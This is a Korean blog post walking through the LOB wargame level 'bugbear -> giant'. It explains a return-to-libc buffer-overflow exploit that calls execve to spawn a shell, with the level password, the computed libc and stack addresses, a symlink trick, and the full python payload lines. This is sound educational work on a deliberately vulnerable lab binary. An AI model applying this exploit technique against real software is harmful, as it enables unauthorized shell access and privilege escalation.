System&Write up/LOB

LOB bugbear -> giant Write up

Jubil 2017. 11. 8. 23:38
반응형

LOB bugbear -> giant

 

ID : bugbear

Passwd : new divide

 


접속해서 ls 명령어로 파일을 확인합니다.

 


cat
으로 code를 열어보면 소스가 긴데요.

 

간단히 해석하자면, library에 있는 execve 함수의 주소를 execve_addr 포인터 변수에 저장하고, 그 주소와 Return Address를 비교해서 같지 않으면 종료됩니다.

 

, 이 문제는 execve 함수를 이용해서 풀어야 한다는 것입니다.

 

그럼 execve 함수는 무슨 함수일까요?

 

int execve (const char *filename, char *const argv [], char *const envp[]);

원형은 이렇습니다.

 

*filename에는 파일의 절대 경로를, * argv []에는 그 파일을 실행할 때 넘겨줄 인자(or 명령), * envp []는 환경 변수를 넘겨줄 수 있습니다.

 

payload를 구성해보면

./bugbear python –c ‘print “A”*44 + execve()’s address + dummy(4byte) + *filename + * argv [] + * envp []’`

 

이렇게 되는데, *filename&“/bin/sh”를 넣게 되면, 쉘이 실행될 것입니다. argv[0]*filename에 파일의 절대 경로를 넘겨줬기 때문에 &&“/bin/sh”를 넣어줘야 합니다. 관습적으로 argv[0]에는 *filename과 같은 값을 넣어주기 때문입니다. 그리고 왜 &&이냐면 포인터 배열이기 때문입니다.

 

그리고 argv가 끝난 것을 표시해주기 위해서 argv[1]에는 NULL을 넣어 주도록 합시다그리고 환경 변수는 상관 없으니 NULL의 주소를 넣어줍시다.(NULL 자체를 payload에 받으면 끊기기 때문)

execve(&”/bin/sh”, {&&”/bin/sh”, 0}, 0);  이렇게 말입니다.

//사실, argv[0]은 관습적일 뿐이지, argv[0]은 뭐가 들어가는지 상관 없습니다. 값만 있으면 됩니다.

 

이제는 execve()의 주소, “/bin/sh” 문자열의 주소, “/bin/sh” 문자열의 주소를 담고있는 주소, NULL의 주소를 구해야 합니다.

 

구하기 위해 tmp 디렉터리에 복사하겠습니다.

 


 

0x400a9d48execve() 의 주소입니다.

 

이제 “/bin/sh”를 찾기 위해 system()의 내부를 뒤져보도록 하겠습니다.







 

0x400fbff9, “/bin/sh” 문자열의 주소를 구했습니다.

 

하지만 “/bin/sh” 문자열의 주소를 담는 주소는 어떻게 구할까요?

 

바로 심볼릭 링크를 이용해서 파일의 이름을 “/bin/sh” 문자열의 주소로 만들고, 스택 끝부분에 있는 파일 이름의 주소를 넣어주면 됩니다.

 

NULL의 주소 또한 스택 맨 끝에는 무조건 NULL로 차여 있어서 그 부분을 이용하겠습니다.

 

일단 0x400fbff9 (“/bin/sh”의 주소)를 이름으로 하는 심볼릭 링크를 만들겠습니다.

ln –s giant `python –c ‘print “\xf9\xbf\x0f\x40”’`


 

그리고 gdb로 열어보면,


0xbffffff7 에는 프로그램 이름이, 0xbffffffc 에는 NULL이 들어있습니다.

 

payload : ./`python –c ‘print “\xf9\xbf\x0f\x40”` `python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “AAAA” + “\xf9\xbf\x0f\x40” + “\xf7\xff\xff\xbf" + “\xfc\xff\xff\xbf"’`

 

공격해보겠습니다.


실패합니다.

왜냐하면 \x0a\n (개행)이기 때문에 한 번 더 문자열 처리를 해주어야 합니다.

 

payload : ./`python –c ‘print “\xf9\xbf\x0f\x40”` `python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “AAAA” + “\xf9\xbf\x0f\x40” + “\xf7\xff\xff\xbf" + “\xfc\xff\xff\xbf"’`

 


그래도 실패합니다.

 

이상해서 gdb로 까봤는데, execve_addr에 이상한 값이 들어가 있었습니다. 그래서 혹시 권한 때문인가 싶어서 심볼릭 링크로 원본 파일을 지정하고 공격했습니다.

 


쉘이 따입니다.

 

아마 복사 파일이라 접근 권한이 없어서 execve_addr에 이상한 값이 있었던 것 같습니다.

 

exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB assassin -> zombie_assassin Write up  (0) 2017.11.12
LOB giant -> assassin Write up  (0) 2017.11.09
LOB darkknight -> bugbear Write up  (0) 2017.10.26
LOB golem -> darkknight Write up  (0) 2017.10.26
LOB skeleton -> golem Write up  (0) 2017.10.12